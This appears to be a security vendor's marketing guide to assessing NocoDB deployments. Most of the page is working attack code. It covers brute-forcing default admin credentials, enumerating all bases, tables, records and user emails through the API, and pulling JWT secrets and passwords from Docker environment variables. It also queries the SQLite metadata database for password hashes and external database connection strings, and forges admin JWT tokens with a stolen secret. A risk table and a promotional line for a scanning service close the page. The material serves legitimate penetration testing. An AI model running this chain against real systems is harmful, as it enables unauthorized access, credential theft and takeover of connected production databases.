NocoDB is a widely deployed open-source no-code platform that turns any MySQL, PostgreSQL, SQLite, or SQL Server database into a collaborative spreadsheet interface, used by teams to build internal tools and manage business data. Its ability to connect to external databases makes credential security particularly critical. Key assessment areas: NocoDB defaults to admin@example.com / password in many Docker deployments that don't set NC_ADMIN_EMAIL/NC_ADMIN_PASSWORD; NC_AUTH_JWT_SECRET in the environment is used to sign all JWT tokens; the metadata database stores external database connection strings including passwords; the /swagger endpoint may expose the full API documentation without authentication; and NocoDB's API provides access to all bases and their underlying table data. This guide covers systematic NocoDB security assessment.
# NocoDB — default credentials and JWT token authentication
NOCODB_URL="https://nocodb.example.com"
# NocoDB default credentials (Docker deployments without NC_ADMIN_EMAIL set)
# Default: admin@example.com / password (or whatever NC_ADMIN_PASSWORD is set to)
AUTH_RESPONSE=$(curl -s -X POST "${NOCODB_URL}/api/v1/auth/user/signin" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"password"}' 2>/dev/null)
TOKEN=$(echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
print(d['token'])
else:
print(f'FAIL: {d}')
" 2>/dev/null)
echo "JWT token: ${TOKEN}"
# Try common default passwords
for PASS in "password" "admin" "nocodb" "changeme" "1234" "admin123"; do
RESULT=$(curl -s -X POST "${NOCODB_URL}/api/v1/auth/user/signin" \
-H "Content-Type: application/json" \
-d "{\"email\":\"admin@example.com\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'token' in d else 'FAIL')" 2>/dev/null)
echo "admin@example.com/${PASS}: ${RESULT}"
done
# Check for unauthenticated Swagger UI
curl -s -o /dev/null -w "%{http_code}" "${NOCODB_URL}/swagger" 2>/dev/null
# 200 = Swagger accessible (lists all API endpoints and their schemas)
# NocoDB REST API — base and table record enumeration
NOCODB_URL="https://nocodb.example.com"
TOKEN="your-jwt-token"
# List all bases (projects)
curl -s "${NOCODB_URL}/api/v1/db/meta/projects/" \
-H "xc-auth: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('list',[])
print(f'Bases: {len(projects)}')
for p in projects:
print(f' [{p.get(\"id\")}] {p.get(\"title\")} type={p.get(\"type\")}')
" 2>/dev/null
# List tables in a base
BASE_ID="your-base-id"
curl -s "${NOCODB_URL}/api/v1/db/meta/projects/${BASE_ID}/tables" \
-H "xc-auth: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
tables = d.get('list',[])
print(f'Tables: {len(tables)}')
for t in tables:
print(f' [{t.get(\"id\")}] {t.get(\"title\")} rows={t.get(\"meta\",{}).get(\"rowCount\",\"?\")}')
" 2>/dev/null
# Get all records from a table
TABLE_ID="your-table-id"
curl -s "${NOCODB_URL}/api/v1/db/data/noco/${BASE_ID}/${TABLE_ID}?limit=100" \
-H "xc-auth: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
records = d.get('list',[])
total = d.get('pageInfo',{}).get('totalRows',0)
print(f'Records: {total} total, showing {len(records)}')
if records:
print(f'Fields: {list(records[0].keys())[:10]}')
for r in records[:3]:
print(f' {str(r)[:100]}')
" 2>/dev/null
# Enumerate all users (admin only)
curl -s "${NOCODB_URL}/api/v1/auth/user/list" \
-H "xc-auth: ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('list',[])
print(f'Users: {len(users)}')
for u in users:
print(f' [{u.get(\"id\")}] {u.get(\"email\")} roles={u.get(\"roles\")} createdAt={str(u.get(\"created_at\",\"\"))[:10]}')
" 2>/dev/null
# NocoDB .env JWT secret and external database credential extraction
# Docker environment variables
docker inspect nocodb 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['NC_AUTH_JWT','NC_ADMIN','NC_DB','DATABASE','PASSWORD','SECRET']):
print(e)
" 2>/dev/null
# NC_AUTH_JWT_SECRET — JWT signing secret (enables token forgery for any user)
# NC_ADMIN_EMAIL — admin email
# NC_ADMIN_PASSWORD — admin password (set at first start)
# NC_DB — metadata database connection string
# NocoDB metadata database — by default SQLite at /usr/app/data/noco.db
sqlite3 /usr/app/data/noco.db 2>/dev/null << 'EOF'
-- All NocoDB users with bcrypt hashed passwords
SELECT id, email, token_version, roles, created_at
FROM xc_users
LIMIT 20;
EOF
# External database connection strings stored in metadata
sqlite3 /usr/app/data/noco.db 2>/dev/null << 'EOF'
-- All base (project) database connections — includes external DB passwords
SELECT p.id, p.title, p.is_meta,
json_extract(p.meta, '$.connectionConfig') as connection_config
FROM nc_projects_v2 p
LIMIT 20;
EOF
# connection_config contains: host, database, user, password for external DBs
# JWT forgery with NC_AUTH_JWT_SECRET
# If NC_AUTH_JWT_SECRET is extracted, forge admin JWT tokens:
node -e "
const jwt = require('jsonwebtoken');
const secret = 'extracted-nc-auth-jwt-secret';
// Forge admin token
const payload = {id: 1, email: 'admin@example.com', roles: 'org-level-creator', token_version: '1'};
const token = jwt.sign(payload, secret, {expiresIn: '24h'});
console.log('Forged token:', token);
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default credential exploitation | POST /api/v1/auth/user/signin with admin@example.com/password — JWT token returned; admin access to all bases, tables, and external database connections | Critical |
| NC_AUTH_JWT_SECRET extraction and JWT forgery | Docker inspect or .env — NC_AUTH_JWT_SECRET; forge signed JWT tokens as any user bypassing password authentication; admin token enables full API access | Critical |
| External database connection string extraction | SQLite /usr/app/data/noco.db nc_projects_v2.meta — connection_config with host/user/password for all connected external databases; direct access to production databases NocoDB is connected to | Critical |
| API base and table record enumeration | GET /api/v1/db/meta/projects — all bases; GET /api/v1/db/data/noco/base/table — all table records; complete access to all business data managed through NocoDB | High |
| Unauthenticated Swagger UI access | GET /swagger — HTTP 200 = full API documentation accessible without authentication; reveals all endpoints, parameters, and data models for targeting specific attacks | Medium |
Ironimo tests NocoDB deployments for default credential exploitation, NC_AUTH_JWT_SECRET extraction and JWT token forgery, external database connection string extraction from SQLite metadata, Swagger UI unauthenticated access, REST API base and table record enumeration, user email harvesting, Docker environment variable credential exposure, xc_users table password hash extraction, NC_DB metadata database network exposure, and rate limiting verification on authentication endpoints.
Start free scan